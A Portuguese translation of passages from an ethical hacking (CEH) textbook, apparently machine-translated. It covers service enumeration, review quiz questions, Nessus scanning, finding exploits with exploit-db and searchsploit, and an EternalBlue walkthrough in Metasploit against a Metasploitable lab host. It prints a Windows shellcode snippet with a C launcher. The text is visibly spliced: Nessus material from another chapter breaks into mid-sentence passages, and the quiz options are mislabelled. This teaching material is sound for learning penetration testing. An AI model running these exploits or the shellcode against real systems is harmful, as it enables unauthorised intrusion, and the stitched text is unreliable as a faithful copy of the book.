protocolos e ferramentas que podemos usar. O primeiro é o nmap, porque precisamos ir além de apenas 
identificar portas abertas. Precisamos identificar os serviços que estão em uso, incluindo o software que 
está sendo usado. Um recurso do nmap que é muito útil, especialmente nessas circunstâncias, é sua 
capacidade de script. Isso inclui, especialmente, todos os scripts que são incorporados ao nmap.
Quando se trata de nmap, há scripts que podem ser usados não apenas para sondar serviços para 
detalhes adicionais, mas para aproveitar as muitas capacidades de enumeração. Um dos protocolos que 
podemos gastar tempo olhando é o protocolo SMB. O Nmap inclui uma série de scripts que sondarão 
sistemas que usam SMB. Isso inclui identificar compartilhamentos que podem estar abertos, bem como 
usuários em potencial e outras informações relacionadas ao gerenciamento que podem ser acessadas 
usando SMB.
Resumo 227
O SMB depende de RPCs. O NFS, um protocolo de compartilhamento de arquivos desenvolvido pela Sun 
Microsystems, também usa RPC. Podemos usar o nmap para enumerar serviços RPC, já que esses serviços são 
registrados dinamicamente com um serviço de mapeamento ou registro. Sondar o servidor RPC fornecerá detalhes 
sobre os programas e portas que estão exportando a funcionalidade RPC. Se o programa for escrito em Java, ele 
usará RMI em vez do portmap ou do protocolo SunRPC.
Outro programa que você pode usar em vários protocolos para enumeração é o Metasploit. O 
Metasploit vem com muitos módulos que enumerarão compartilhamentos e usuários em SMB, serviços 
usando SunRPC e vários outros protocolos. Se houver informações que podem ser enumeradas, o 
Metasploit provavelmente tem um módulo que pode ser executado. Isso inclui módulos que enumerarão 
usuários em servidores de e-mail por SMTP. Você também pode enumerar informações usando SNMP. 
Claro, quando se trata de SNMP, você também pode usar ferramentas como snmpwalk.
Embora o Metasploit possa ser usado em vários protocolos diferentes para procurar diferentes informações 
úteis, ele não é a única ferramenta que você pode usar. Existem ferramentas integradas para coletar informações 
do SMB, por exemplo. É mais provável que você encontre essas ferramentas em sistemas Windows, mas também 
pode encontrar ferramentas em sistemas Linux, especialmente se tiver o Samba instalado. O Samba é um pacote 
de software que implementa o protocolo SMB em sistemas Unixlike. Existem também muitas ferramentas de 
código aberto que podem ser usadas para diferentes protocolos. Se você estiver bem em usar o Linux, o Kali Linux 
é uma distribuição que inclui centenas de ferramentas relacionadas à segurança.
Ao executar essa enumeração, você deve tomar notas para ter referências quando for prosseguir. Uma 
vantagem de usar o Metasploit, para não exagerar neste software, é que ele usa um backend de banco de 
dados, que armazenará muitas informações automaticamente. Isso certamente é verdade para serviços e 
portas, mas também para nomes de usuários que foram identificados. Isso não quer dizer que o 
Metasploit pode ser usado para armazenar todos os aspectos do seu engajamento, mas você pode 
consultar os detalhes mais tarde consultando o banco de dados do Metasploit conforme necessário.
228 Capítulo 6 - Enumeração
Perguntas de revisão
Você pode encontrar as respostas no Apêndice.
1.Para que os RPCs são usados principalmente?
UM.Comunicações entre processos
B.Semáforos interprocessos
C.Invocação de método remoto
E.Paginação de demanda de processo
2.O que você tentaria enumerar se usasse o enum4linux?
UM.Procedimentos
B.Serviços baseados em Linux
C.Ações e/ou usuários
E.Utilização da memória
3.Como você autentica com SNMPv1?
UM.Nome de usuário/senha
B.Rachadura
C.Cadeia de caracteres pública
E.Cadeia de caracteres da comunidade
4.Qual comando SMTP você usaria para obter a lista de usuários em uma lista de e-mail?
UM.EXPEDIÇÃO
B.VRFY
C.EXPN
E.VRML
5.Para que tipo de enumeração você usaria o utilitário dirb?
UM.Listagens de diretórios
B.Enumeração de diretório
C.Discagem por força bruta
E.Análise de diretório de usuários
6.Como são chamadas as descrições de dados no SNMP?
UM.Informação baseada em gestão
B.Definição de estrutura de dados
C.Linguagem de marcação extensível
E.Base de informações de gestão
Perguntas de revisão 229
7.Qual é o processo pelo qual os programas Java se identificam quando estão compartilhando 
procedimentos pela rede?
UM.Registro RMI
B.Mapeador RMI
C.Banco de dados RMI
E.Processo RMI
8.Você está trabalhando com um colega e o vê interagindo com um servidor de e-mail 
usando o comando VRFY. O que seu colega está fazendo?UM.Verificando comandos SMTP
B.Verificando listas de discussão
C.Verificando endereços de e-mail
E.Verificando a configuração do servidor
9.Para que é usado o protocolo SMB?
UM.Transferências de dados usando NFS
B.Transferências de dados em sistemas Windows
C.Transferências de dados para anexos de e-mail
E.Transferências de dados para atualizações do Registro do Windows
10.Qual destes é um programa integrado no Windows para coletar informações usando SMB?
UM.nmblookup
B.cliente smb
C.Metasploit
E.nbtstat
11.Qual código de status você receberá se sua tentativa de usar o comando VRFY falhar?
UM.550
B.501
C.250
E.200
12.Que programa você usaria para enumerar serviços?
UM.cliente smb
B.Nmap
C.enum4linux
E.caminhada rápida
230 Capítulo 6 - Enumeração
13.Qual versão do SNMP introduziu criptografia e autenticação baseada em usuário?
UM.1
B.2
C.2c
E.3
14.Quais destes você poderia enumerar em um site WordPress usando o wpscan?
UM.Plug-ins
B.Postagens
C.Administradores
E.Versões
15.Qual dessas ferramentas permite que você crie sua própria função de enumeração com base em portas 
identificadas como abertas?
UM.Metasploit
B.Nmap
C.Netcat
E.nbtstat
16.Qual funcionalidade subjacente é necessária para habilitar o compartilhamento de arquivos do Windows?
UM.Sistema de arquivos de rede
B.Sistema de arquivos comum da Internet
C.Chamada de procedimento remoto
E.Invocação de método remoto
17.Para que serve a cota IPC$?
UM.Tubulação de processo
B.Construção interprocessual
C.Gestão de processos remotos
E.Comunicação entre processos
18.Qual ferramenta um programa Java precisa usar para implementar comunicação de processo remoto?
UM.JRE
B.rmico
C.rmir
E.JDK
Perguntas de revisão 231
19.Qual destes passa objetos entre sistemas?
UM.SunRPC
B.PMEs
C.RMI
E.Nmap
20.Se você precisasse enumerar dados em vários serviços e também armazená-los para recuperação posterior, qual 
ferramenta você usaria?
UM.Metasploit
B.Nmap
C.RMI
E.Postgres
Por Ric Messier
Capítulo Hacking de sistema
7 Os seguintes tópicos do exame CeH são 
abordados neste capítulo:
- - Vulnerabilidades
- - Ferramentas de exploração
- - Linguagens de programação
- - Ambientes operacionais
- - Procedimentos de verificação
- - Métodos de avaliação técnica
É aqui que chegamos ao que muitas pessoas pensam ser o que é 
“hacking”, ou teste de penetração. Certamente, o hacking de 
sistemas é um elemento importante, pois é onde você demonstra 
que as vulnerabilidades realmente existem, mas é
não é o único. Testes de penetração, ou hacking ético, não são apenas sobre invadir sistemas — 
pilhagem e pilhagem. Tenha em mente que o objetivo é sempre ajudar as organizações a melhorar 
sua postura de segurança. Explorar vulnerabilidades para obter acesso a sistemas é uma maneira de 
fazer isso. Invadir um sistema demonstra a existência da vulnerabilidade e também fornece 
caminhos potenciais para outros sistemas.
Com o objetivo final em mente e com a lista de vulnerabilidades em vigor, podemos começar a 
procurar por exploits. Há várias maneiras de fazer isso, algumas mais eficazes do que outras. Um 
método pode ser feito diretamente no sistema do qual você está executando seus testes. Localizar os 
exploits é essencial para poder executá-los em seus sistemas de destino para obter acesso. Depois de 
obter acesso, você passa para as atividades pós-exploração.
Você vai querer pegar senhas e tentar quebrá-las. Isso faz duas coisas. Primeiro, demonstra 
que há senhas que podem ser quebradas — senhas fortes não devem ser quebradas sem levar 
uma quantidade imensa de tempo e recursos de computação. Se você pode facilmente 
quebrar uma senha, ela não é forte o suficiente e deve ser alterada. Segundo, nomes de 
usuários e senhas são credenciais que você pode usar em outros sistemas.
Apenas entrar em um sistema pode não lhe render muito. Quando você executa um exploit, você só tem as 
permissões que foram fornecidas ao usuário com o qual o serviço está sendo executado. Normalmente, esse é um 
conjunto reduzido de permissões. Como resultado, você pode não conseguir fazer muita coisa. Pelo menos, você 
pode não conseguir fazer muita coisa sem ganhar um nível mais alto de privilégios. Isso significa que você precisa 
de uma vulnerabilidade local, uma que exista em um software que só pode ser acessado ou executado quando você 
estiver logado no sistema. Executar essas escalações de privilégios, se forem bem-sucedidas, lhe dará outro nível de 
informação e acesso que você pode usar.
Os invasores geralmente tentarão obscurecer sua existência em um sistema. Se você realmente estiver 
trabalhando em uma capacidade de equipe vermelha, onde as equipes de operações em seu alvo estão sendo 
testadas quanto à sua capacidade de detectar e responder, você também vai querer cobrir seus rastros. Existem 
várias etapas que você pode querer seguir para ocultar sua existência. Isso pode ser especialmente verdadeiro se 
houver evidências de sua infiltração inicial no sistema.
Procurando por Exploits
Você fez sua enumeração e sua varredura para identificar vulnerabilidades. Então você tem uma lista de 
vulnerabilidades que parecem promissoras. Você precisa de maneiras de explorar as vulnerabilidades, e mesmo 
se pudesse, você simplesmente não tem tempo para escrever exploits você mesmo. Você pode
Procurando por Exploits 235
bem, aproveite o trabalho de outros para obter exploits para que você possa demonstrar claramente a 
vulnerabilidade. Essa é uma das principais razões para executar o exploit, afinal. Você precisa demonstrar 
que uma vulnerabilidade é explorável para quando você relatar ao seu cliente/empregador. Outra razão 
para executar o exploit é ganhar uma camada adicional para que você possa girar para outras redes para 
procurar mais vulnerabilidades.
Parte de ser um hacker ético é garantir que você tenha permissão e não esteja 
causando nenhum dano. No entanto, o objetivo de qualquer hacker ético deve ser 
melhorar a segurança. Este é um ponto importante. Entrar na rede de um cliente para 
derrubar o máximo de sistemas que puder, apenas para ter feito isso sem nenhum 
caminho para o cliente melhorar sua postura de segurança, não é muito ético. Tenha 
em mente que seu objetivo é sempre melhorar a segurança e não apenas ver quanto 
dano você pode causar.
Você pode estar se perguntando onde você poderia encontrar muitos exploits. Um ótimo recurso é 
exploit-db.org. Este é um site onde pesquisadores e desenvolvedores postam código de exploit e código de 
prova de conceito que funciona contra vulnerabilidades identificadas. Embora frequentemente esses 
exploits cheguem a ferramentas como o Metasploit, eles nem sempre o fazem. Isso pode ser especialmente 
verdadeiro se o exploit for apenas uma prova de conceito que não está totalmente implementada e pode 
não levar o exploit até o fim. Se você der uma olhada na Figura 7.1, você pode ver uma lista do código para 
exploits atuais. O que você vê é apenas uma lista de exploits remotos. Para ser justo, nem todos eles são 
exploits da maneira que você pode pensar sobre exploits, se você estiver pensando em exploits como algo 
que lhe dá um shell. No topo da lista, por exemplo, você verá um link para um script Python que enumera 
nomes de usuários em uma instalação do OpenSSH 7.7.
figura 7.1Lista de explorações remotas em exploit-db.org
O que você vê é apenas uma única categoria de exploits. Você também verá exploits de aplicativos da web, 
exploits de negação de serviço e exploits locais, que incluem exploits de escalonamento de privilégios. Embora os 
exploits remotos possam parecer mais atraentes — afinal, quem não gosta de estourar uma caixa? — há muito 
mais na exploração de sistemas do que apenas entrar remotamente. Na verdade, geralmente há maneiras muito 
mais fáceis de se infiltrar em uma rede. No momento em que este artigo foi escrito, havia mais de 39.000 exploits 
arquivados em exploit-db.org.
236 Capítulo 7 - Hacking de sistema
Muito do que você encontrará aqui são scripts escritosem linguagens como Python. 
Se você conhece Python, pode lê-los. Não importa em que o exploit esteja escrito, 
certifique-se de testá-lo em um lugar seguro com antecedência. Isso lhe dará uma 
compreensão clara do que ele está fazendo e do impacto que provavelmente terá.
Pode haver uma maneira mais fácil de chegar aos exploits em vez de abrir um navegador e passar pelo 
site. O Kali Linux tem o repositório de exploits disponível, bem como uma ferramenta que pode ser usada 
para pesquisar o repositório a partir da linha de comando. Você não precisa se limitar apenas ao Kali. O 
repositório inteiro é um repositório Git que pode ser clonado e usado em qualquer lugar. Como exemplo, 
executando o Arch Strike sobre o Manjaro Linux, há um pacote para o repositório exploitdb, então você não 
precisa estar executando o Kali. Existem outras distribuições que incluem este pacote. Você também pode 
simplesmente clonar o repositório git deles.
Mas não é só o repositório que você obtém. Se esse fosse o caso, você teria que encontrar uma maneira de 
localizar o exploit que está procurando. Em vez disso, há um script de shell que localizará os arquivos incluídos no 
repositório que correspondem aos seus parâmetros de pesquisa. Como exemplo, na listagem de código a seguir, 
você pode ver uma pesquisa por exploits OpenSSH. Isso foi inspirado pela vulnerabilidade de enumeração OpenSSH 
atual. O programa usado é o searchsploit. Você pode pesquisar por palavras-chave, como mostrado, ou pode 
especificar onde está procurando a palavra-chave, como no título. Você também pode fazer uma pesquisa com 
distinção entre maiúsculas e minúsculas ou fazer uma pesquisa de correspondência exata. Tudo dependerá do que 
você sabe sobre o que está procurando.
encontrando exploits com searchsploit
kilroy@savagewood $ searchsploit abre o ssh
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Título da exploração | Caminho
| (/usr/share/exploitdb-git/)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
- - - - - - - - - - - - Debian OpenSSH - (autenticado) R | exploits/linux/remote/6094.txt
Dropbear / Servidor OpenSSH - 'MAX_U | exploits/multiple/dos/1572.pl FreeBSD 
OpenSSH 3.5p1 - Com remoto | exploits/freebsd/remote/17462.txt Novell Netware 
6.5 - OpenSSH Remot | exploits/novell/dos/14866.txt OpenSSH 1.2 - Arquivo '.scp' 
Criar/O | exploits/linux/remote/20253.sh OpenSSH 2.x/3.0.1/3.0.2 - Canal | 
exploits/unix/remote/21314.txt OpenSSH 2.x/3.x - Kerberos 4 TGT/A | exploits/
linux/remote/21402.txt OpenSSH 3.x - Desafio-Resposta B | exploits/unix/remote/
21578.txt OpenSSH 3.x - Desafio-Resposta B | exploits/unix/remote/21579.txt 
OpenSSH 4.3 p1 - Bloco Duplicado | exploits/multiple/dos/2444.sh OpenSSH 6.8 
char shellcode[] =
"\x31\xC9" //xor ecx, ecx "\x64\x8B\x71\x30" //mov 
esi, [fs:ecx+0x30] "\x8B\x76\x0C" //mov esi, [esi+ 
0x0C] "\x8B\x76\x1C" //mov esi, [esi+0x1c] 
"\x8B\x06" //mov eax, [esi]
"\x8B\x68\x08" //mov ebp, [eax+0x08] 
"\x68\x11\x11\x11\x11" //empurra 0x11111111 
"\x66\x68\x11\x11" //empurra palavra 0x1111 
"\x5B" //pop ebx
"\x53" //empurre ebx
"\x55" //empurre ebp
"\x5B" //pop ebx
238 Capítulo 7 - Hacking de sistema
Shellcode do repositório exploit-db(continua)
"\x66\x81\xC3\x4B\x85" //adicionar bx, 0x854b 
"\xFF\xD3" //chamar ebx
"\xEB\xEA"; //jmp curto
int principal(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2; (*ret) = 
(int) código shell;
}
O site exploit-db.com não é o único lugar para procurar exploits, mas é muito conveniente. 
Também é provavelmente o melhor site legítimo disponível, e o fato de vir com uma ferramenta de 
busca o torna muito útil. Se você quiser aprender muito sobre exploits e como eles são 
desenvolvidos, este é um ótimo lugar para ir.
Mas você não precisa se limitar apenas a sites. Existem listas de discussão onde anúncios de 
vulnerabilidades são feitos. Às vezes, junto com o anúncio de vulnerabilidade, você receberá um 
código de prova de conceito. O quão longe você pode chegar com o código depende inteiramente 
do pesquisador, da vulnerabilidade e do software. Às vezes, o que você receberá é apenas uma 
demonstração de que a vulnerabilidade pode ser acionada, mas você pode não obter mais acesso 
ao sistema remoto do que tinha antes.
Certamente há outros lugares onde você pode procurar por exploits. No entanto, você começa a 
contornar as bordas da ética. A chamada dark web, ou darknet, é um lugar onde você pode procurar por 
exploits. Se você tem um navegador Tor ou apenas o software que cria um servidor proxy que você pode 
usar para conectar qualquer navegador, você pode começar a procurar por sites onde você pode obter 
parte desse código. Há uma série de mecanismos de busca que você pode usar que são mais propensos a 
encontrar alguns desses sites mais obscuros, como o Not Evil. Há considerações a serem lembradas, no 
entanto. Uma é que os sites podem entrar e sair na rede Tor. Mesmo que o Not Evil mostre links em uma 
busca, não há garantia de que você encontrará o site ativo e funcional. Ao vasculhar o Tor enquanto 
escrevia isso, descobri que vários sites simplesmente não respondiam.
Segundo, você não sabe a fonte do exploit que você encontra. Há dois elementos aqui. Um é que 
ele pode ter sido obtido ou desenvolvido ilegalmente. Isso cruza os limites éticos que você é 
obrigado a aderir como um Hacker Ético Certificado. Talvez mais importante, no entanto, a menos 
que você seja realmente bom em ler código-fonte,pode ver, 
mas também fornece acesso à descoberta, avaliação, relatório e configurações avançadas. A aba Discovery 
permite que você determine o tipo de descoberta que você fará na rede, o que significa que permite que você 
defina parâmetros de varredura de porta. Por padrão, a varredura de porta será executada em portas comuns. 
Você pode selecionar para deixá-la ser executada em todas as portas, o que pode significar que você pode 
encontrar vulnerabilidades adicionais ou pelo menos algumas portas que você pode não ter esperado.
A aba Avaliação permite que você defina parâmetros sobre o que o Nessus deve escanear com relação a 
vulnerabilidades da web. Por padrão, o Nessus não escaneia vulnerabilidades da web. Você pode definir diferentes 
níveis de escaneamento de vulnerabilidades da web. Há outra configuração em Avaliação que é importante. Por 
padrão, o Nessus limitará o número de falsos positivos encontrados. Deve-se notar que todas as configurações 
mencionadas aqui estão na política de Escaneamento Básico de Rede. Outras políticas de escaneamento terão 
configurações diferentes, algumas das quais você poderá alterar. Para ter acesso a todas as configurações, você 
deve passar pelo Escaneamento Avançado, onde todas as configurações são expostas e podem ser alteradas.
A aba Relatório permite que você ajuste a verbosidade do relatório. Você pode querer limitar o número 
de detalhes fornecidos, mantendo as informações no relatório no mínimo. Os relatórios do Nessus, por 
padrão, são bastante abrangentes. Cada descoberta conterá detalhes sobre a vulnerabilidade, bem como 
sua gravidade, referências associadas à vulnerabilidade e possíveis remediações. Incluir detalhes suficientes 
para que tudo faça sentido para pessoas que podem não estar muito familiarizadas com o Nessus pode 
ocupar muito espaço.
Conforme a varredura estiver em execução, e certamente quando estiver concluída, você poderá visualizar 
os resultados. Inicialmente, você obterá uma lista de todas as vulnerabilidades ao abrir a varredura
174 Capítulo 5 - Redes de digitalização
clicando em seu nome em My Scans. Você pode ver uma lista parcial na Figura 5.21. Junto com a lista 
de vulnerabilidades identificadas, você verá um gráfico de todas as vulnerabilidades identificadas 
para indicar quais categorias têm mais vulnerabilidades. No caso do scan mostrado, a grande maioria 
são mensagens informativas, enquanto o segundo maior número de vulnerabilidades está na 
categoria de gravidade média.
figura 5. 21Lista de resultados da verificação
A lista de hosts é ordenada pelo número total de problemas identificados pelo Nessus, embora as 
descobertas não sejam todas vulnerabilidades, pois há itens informativos, que não são vulnerabilidades. O 
Nessus identificou um total de 50 hosts na rede, e o host com o endereço IP terminando em .52 tinha o 
maior número de vulnerabilidades com base nas vulnerabilidades que o Nessus conhecia no momento da 
varredura. Isso não quer dizer que não haja outras vulnerabilidades, que podem não ser conhecidas pelo 
Nessus. Também é possível que haja falsos negativos, o que significa que o Nessus não identificou uma 
vulnerabilidade conhecida, apesar do fato de que a vulnerabilidade existia no host escaneado. Na coluna da 
direita, você verá uma porcentagem. Essa porcentagem indica o quão completa o Nessus acha que a 
varredura contra esse host é. Este instantâneo foi tirado no meio da varredura.
No topo da página, você verá três abas. A primeira, e a que é apresentada primeiro, é a lista de 
hosts. Ela é, como observado anteriormente, ordenada pelo número total de vulnerabilidades. A 
segunda aba é o número de vulnerabilidades. Ela é ordenada pela gravidade da descoberta. Os 
problemas críticos estão no topo, seguidos pelos altos, depois os médios e assim por diante. Uma 
varredura de hosts na minha rede identificou dois problemas críticos diferentes. Um deles estava 
relacionado ao software da Mozilla Foundation. De acordo com o Nessus, o Thunderbird
Verificação de vulnerabilidades 175
ou o Firefox está instalado no host de destino, embora a versão instalada não seja mais suportada. O 
segundo problema tem a ver com um sistema macOS. A versão do sistema operacional instalado está 
uma atrás da mais atual. A Figura 5.22 mostra detalhes relacionados à vulnerabilidade do Mozilla.
figura 5. 2 2Encontrando detalhes
Você verá na saída uma descrição da descoberta. Você também verá a solução, que é 
atualizar para uma versão suportada. Abaixo disso, há referências a outros sites que podem 
fornecer detalhes adicionais sobre o problema. Abaixo dos sites de referência, estão os 
detalhes do plug-in de verificação. Isso mostra a versão do aplicativo encontrado, bem como a 
versão atual do aplicativo que está disponível. Isso mostra que a versão instalada é cinco 
versões anteriores, e a versão atual disponível e suportada pela Mozilla Foundation é 61.0. O 
que você não vê nesta saída é o endereço IP do segundo host onde esse problema foi 
identificado. Apenas um dos endereços IP é mostrado para resumir.
Também na parte superior há uma aba chamada Remediations. Ela fornece uma saída indicando como algumas 
das vulnerabilidades identificadas podem ser remediadas. Você verá na Figura 5.23 que as quatro remediações 
identificadas estão todas relacionadas à atualização para a versão mais recente do software, incluindo, em um caso, 
a atualização da versão do sistema operacional em uso.
176 Capítulo 5 - Redes de digitalização
figura 5 . 2 3Lista de remediações
Como já foi observado várias vezes, as severidades variam, e só porque o Nessus acredita que uma severidade 
deve estar em um certo nível não significa que você, com seu conhecimento do ambiente com o qual está 
trabalhando, concordará. Você pode criar regras no Nessus para que as descobertas associadas a certos hosts 
possam ser recategorizadas automaticamente. Isso pode ser feito na guia Regras de Plug-in ao longo do quadro de 
navegação à esquerda na visualização principal. A Figura 5.24 mostra a aparência da caixa de diálogo para as 
configurações das Regras de Plug-in. Você pode especificar um host ou apenas deixar esse campo em branco para 
todos os hosts. Você precisaria especificar o ID do plug-in ao qual a regra se aplica. Com todos os parâmetros em 
vigor para identificar a que a regra se aplica, você apenas define a severidade que deseja associar e o Nessus 
cuidará do resto.
figura 5. 2 4Configurações de regras de plugins
Ao contrário do OpenVAS, o Nessus não oferece uma maneira de adicionar notas às descobertas. Uma coisa 
que você obtém, porém, que não obtém no OpenVAS é uma trilha de auditoria. Você pode pesquisar por ID de 
plug-in e por host e obter detalhes adicionais sobre o plug-in que foi executado. Como exemplo,
Criação e manipulação de pacotes 177
a busca pelo ID do plug-in na descoberta crítica desatualizada do macOS mostra os endereços IP dos hosts onde o 
Nessus não conseguiu identificar o sistema operacional, hosts onde o Nessus identificou o sistema operacional, 
mas não era o macOS, e também endereços IP onde o sistema operacional estava correto, mas o número da versão 
não estava correto, o que significa que não houve nenhuma descoberta resultante da execução do plug-in.
Assim como o OpenVAS, o Nessus usa scripts de Network Attack Scripting Language (NASL). Eles são 
armazenados com o restante da instalação do Nessus. No Windows, a instalação estaria no diretório 
Program Files. No Linux, os arquivos são armazenados em /opção/nessuscom os plugins em /opt/nessus/
lib/plugins.Se você quiser ver exatamente o que um plug-in faz para poder verificar a descoberta, você deve 
verificar o script. Você pode usar o ID do plug-in para identificar o arquivo que é executado para esse plug-
in. O script, uma vez que você se acostumar a lê-los, fornecerá os detalhes sobre como replicar o teste de 
vulnerabilidade para que você possa verificar. Essa verificação não é importante apenas para descartar 
falsos positivos, masmesmo que o código-fonte esteja ofuscado, você 
pode descobrir que está trabalhando com software infectado que pode comprometer você e seu 
alvo de maneiras que você não esperava. É por isso que é tão importante trabalhar com sites e 
pesquisadores legítimos e profissionais.
Finalmente, o Tor é pensado como um lugar para o anonimato. Isso inclui não apenas os usuários que 
estão visitando os sites, mas também os próprios sites. Levará tempo para descobrir onde tudo está 
localizado. Também é um lugar para comércio ilícito. Você pode encontrar algumas explorações na rede 
Tor, mas é mais do que provável que, se encontrar, elas estarão à venda em vez de apenas oferecidas 
para o bem da comunidade.
Comprometimento do sistema 239
Comprometimento do sistema
Exploração, ou comprometimento do sistema, servirá a dois propósitos para nós. Um deles é demonstrar 
que as vulnerabilidades são legítimas e não apenas teóricas. Afinal, quando fazemos varredura de 
vulnerabilidade, temos uma indicação de que um sistema pode ter uma vulnerabilidade, mas até que a 
vulnerabilidade tenha sido explorada, não há garantia de que a vulnerabilidade exista, o que significa que 
não temos certeza se ela realmente precisa ser corrigida ou não. O segundo motivo é que explorar uma 
vulnerabilidade e comprometer um sistema pode nos levar mais para dentro da organização, 
potencialmente expondo vulnerabilidades adicionais. Isso ocorre, em parte, porque podemos obter mais 
acessibilidade mais profundamente na rede, mas também porque podemos coletar credenciais que 
podem ser usadas em outros sistemas.
Vou abordar algumas maneiras diferentes de trabalhar no comprometimento do sistema. Vou 
começar com o Metasploit, já que é uma abordagem muito comum. Deve-se notar que o Metasploit 
não é o único framework de exploração disponível. Existem outras ofertas de software comercial que 
farão a mesma coisa que o Metasploit. Embora o Metasploit tenha uma oferta comercial, e se você o 
estiver usando para fins comerciais, deverá pagar pela licença comercial; há uma edição comunitária 
também. Além disso, você pode obter uma cópia do Kali Linux, que tem o Metasploit pré-instalado. 
Outros pacotes de software farão aproximadamente a mesma coisa que o Metasploit, e você deve 
dar uma olhada neles para ver o que você pode preferir em um ambiente comercial.
Também podemos retornar ao exploit-db para algumas possibilidades adicionais de exploração. Depois de ter 
uma lista de suas vulnerabilidades, você pode pesquisar o banco de dados de exploração para explorações reais 
que podem ser usadas. Abordarei a identificação dos módulos e, em seguida, o uso deles. Em alguns casos, como 
você verá, nem sempre é o caso de executar um único script.
Módulos Metasploit
Se houver um exploit conhecido para uma vulnerabilidade disponível, ele provavelmente encontrou seu caminho para o 
Metasploit. Este é um programa que foi originalmente desenvolvido como uma estrutura de exploit. A ideia era fornecer 
blocos de construção para que os exploits pudessem ser desenvolvidos rapidamente, reunindo um conjunto de módulos de 
programação que pudessem ser usados. Além disso, shellcodes e codificadores estão disponíveis para serem colocados em 
exploits que estão sendo desenvolvidos. Embora possa ter começado como uma estrutura de exploit visando pesquisadores 
de segurança que identificam vulnerabilidades para que possam criar exploits facilmente, ele se tornou uma ferramenta 
essencial para testadores de penetração e segurança. Um dos motivos é o grande número de módulos disponíveis que 
podem ser usados durante o teste de sistemas e redes.
Quase todo o ciclo de vida de um teste de penetração pode ser manipulado dentro do Metasploit. 
No momento em que este texto foi escrito, havia mais de 1.000 módulos auxiliares, muitos dos quais 
são scanners que podem ser usados para reconhecimento e enumeração. Usando esses módulos, 
você pode aprender como é a rede e quais serviços estão disponíveis. Você também pode importar 
varreduras de vulnerabilidade do OpenVAS, Nessus e, claro, Nexpose, que é desenvolvido pela 
mesma empresa responsável pelo Metasploit. Depois de ter todas essas informações, no entanto, 
você deseja passar para a exploração. Atualmente, há 1.800
240 Capítulo 7 - Hacking de sistema
módulos de exploração no Metasploit, embora o número mude regularmente devido à 
popularidade do software e ao trabalho de desenvolvimento do Rapid 7.
O Metasploit torna o trabalho de exploração consideravelmente mais fácil do que passar pelo processo 
de criação de uma exploração manualmente, supondo que o Metasploit tenha uma exploração disponível. 
Se não tiver, você será forçado a fazer uma manualmente, se puder. Usaremos a linha de comando para 
isso, embora existam outras opções, como uma interface web se você obtiver o pacote do Rapid 7. A CLI 
expõe tudo o que está acontecendo. Começaremos com o programa msfconsole. Existem várias maneiras 
de adquirir o Metasploit, mas para isso, estou usando apenas uma instância do Kali Linux, que tem o 
Metasploit instalado por padrão. Tudo o que precisei fazer foi configurar o banco de dados usado para 
armazenar informações sobre hosts, vulnerabilidades e qualquer loot adquirido. Na listagem a seguir, você 
pode ver a inicialização do msfconsole, que é o programa de linha de comando usado para interagir com o 
Metasploit.
Iniciando o msfconsole
root@quiche:~# msfconsole
. .
.
dBBBBBBb
' dB '
dB'dB'dB' dBBP
dB'dB'dB' dBP
dB'dB'dB' dBBBBP
dBBBP dBBBBBBP dBBBBBB . o
BBP
dBP BB
dBP BB
dBBBBBBB
dBP
dBP
dBP
dBBBBBP dBBBBBb dBP
dB' dBP
dBBBB' dBP
dBBBBBBP dBBBBBBP
dB'.BP
dB'.BP dBP
. .
|
- - o--
|
dBP
dBP
dBBBBP dBP
dBP
dBP dBP
dBBBBP dBBBBP dBP
dB'.BP dBP dBP
dBP
.
.
o Para ir corajosamente onde 
nenhuma concha jamais foi
=[ metasploit v4.17.8-dev
+ - - - - =[ 1803 exploits - 1027 auxiliares - 311 post
+ - - - - =[ 538 cargas úteis - 41 codificadores - 10 nops
+ - - - - =[ Teste gratuito do Metasploit Pro: http://r-7.co/trymsp ]
]
]
]
msf >
Comprometimento do sistema 241
Depois que o msfconsole for iniciado, precisamos localizar um exploit para uma 
vulnerabilidade que foi identificada. Há um Windows Server na minha rede doméstica que vou 
usar para demonstrar o exploit. Esta é uma instância do Metasploitable 3, então há vários 
serviços vulneráveis que foram incorporados a ela, tornando-a perfeita para demonstrar e 
praticar. Para encontrar um exploit, podemos procurá-lo. Você verá na listagem a seguir uma 
busca por um módulo que executará o exploit EternalBlue, que tira proveito da vulnerabilidade 
descrita em CVE-2017-0144. Há várias correspondências para esta busca. Poderíamos restringir 
o escopo com alguns parâmetros adicionais, como especificar o tipo usando type:exploit, por 
exemplo. Isso pode ser útil se você tiver uma lista muito longa de resultados e precisar facilitar 
a identificação do correto.
Pesquisando metasploit
msf > pesquisar eternalblue
Módulos correspondentes
================
Nome
- - - -
Data de divulgação
- - - - - - - - - - - - - - -
2017-03-14
Classificação
- - - -
normal
Descrição
- - - - - - - - - - -
MS17-010assistant/admin/smb/ms17_010_command EternalRomance/EternalSynergy/EternalChampion SMB 
Execução remota de comandos do Windows
auxiliar/scanner/smb/smb_ms17_010 normal
média
MS17-010 Detecção SMB RCE
MS17-010 Controle Remoto EternalBlue SMBexploit/windows/smb/ms17_010_eternalblue 
Corrupção do pool do kernel do Windows
2017-03-14
exploit/windows/smb/ms17_010_eternalblue_win8 
Corrupção do pool do kernel do Windows para Win8+
2017-03-14 média MS17-010 Controle Remoto EternalBlue SMB
exploit/windows/smb/ms17_010_psexec EternalSynergy/EternalChampion 
SMB Execução remota de código do Windows
2017-03-14 normal MS17-010 Romance Eterno/
Há mais de um que poderíamos usar aqui, dependendo do que queremos realizar. Neste 
caso, quero obter um shell no sistema remoto; o módulo auxiliar nos permitirá executar um 
único comandono sistema remoto, que seria o mesmo que termina em psexec. Como 
resultado, usaremos o exploit terminando em 010_eternalblue, como você pode ver na 
próxima listagem de código. Isso nos dará um shell no host remoto. A partir desse shell, 
podemos começar a emitir comandos, mas mais do que apenas um, o que os outros nos 
deixariam fazer.
Depois de sabermos qual módulo estamos usando, nós o carregamos usando ousarcomando no 
msfconsole. Cada módulo tem um conjunto de opções que podem ou precisam ser definidas. Em 
alguns casos, as opções já terão padrões definidos, então você não precisa fazer nada. O único 
parâmetro que sempre precisará ser definido é o do alvo. Este será RHOST ou RHOSTS, dependendo 
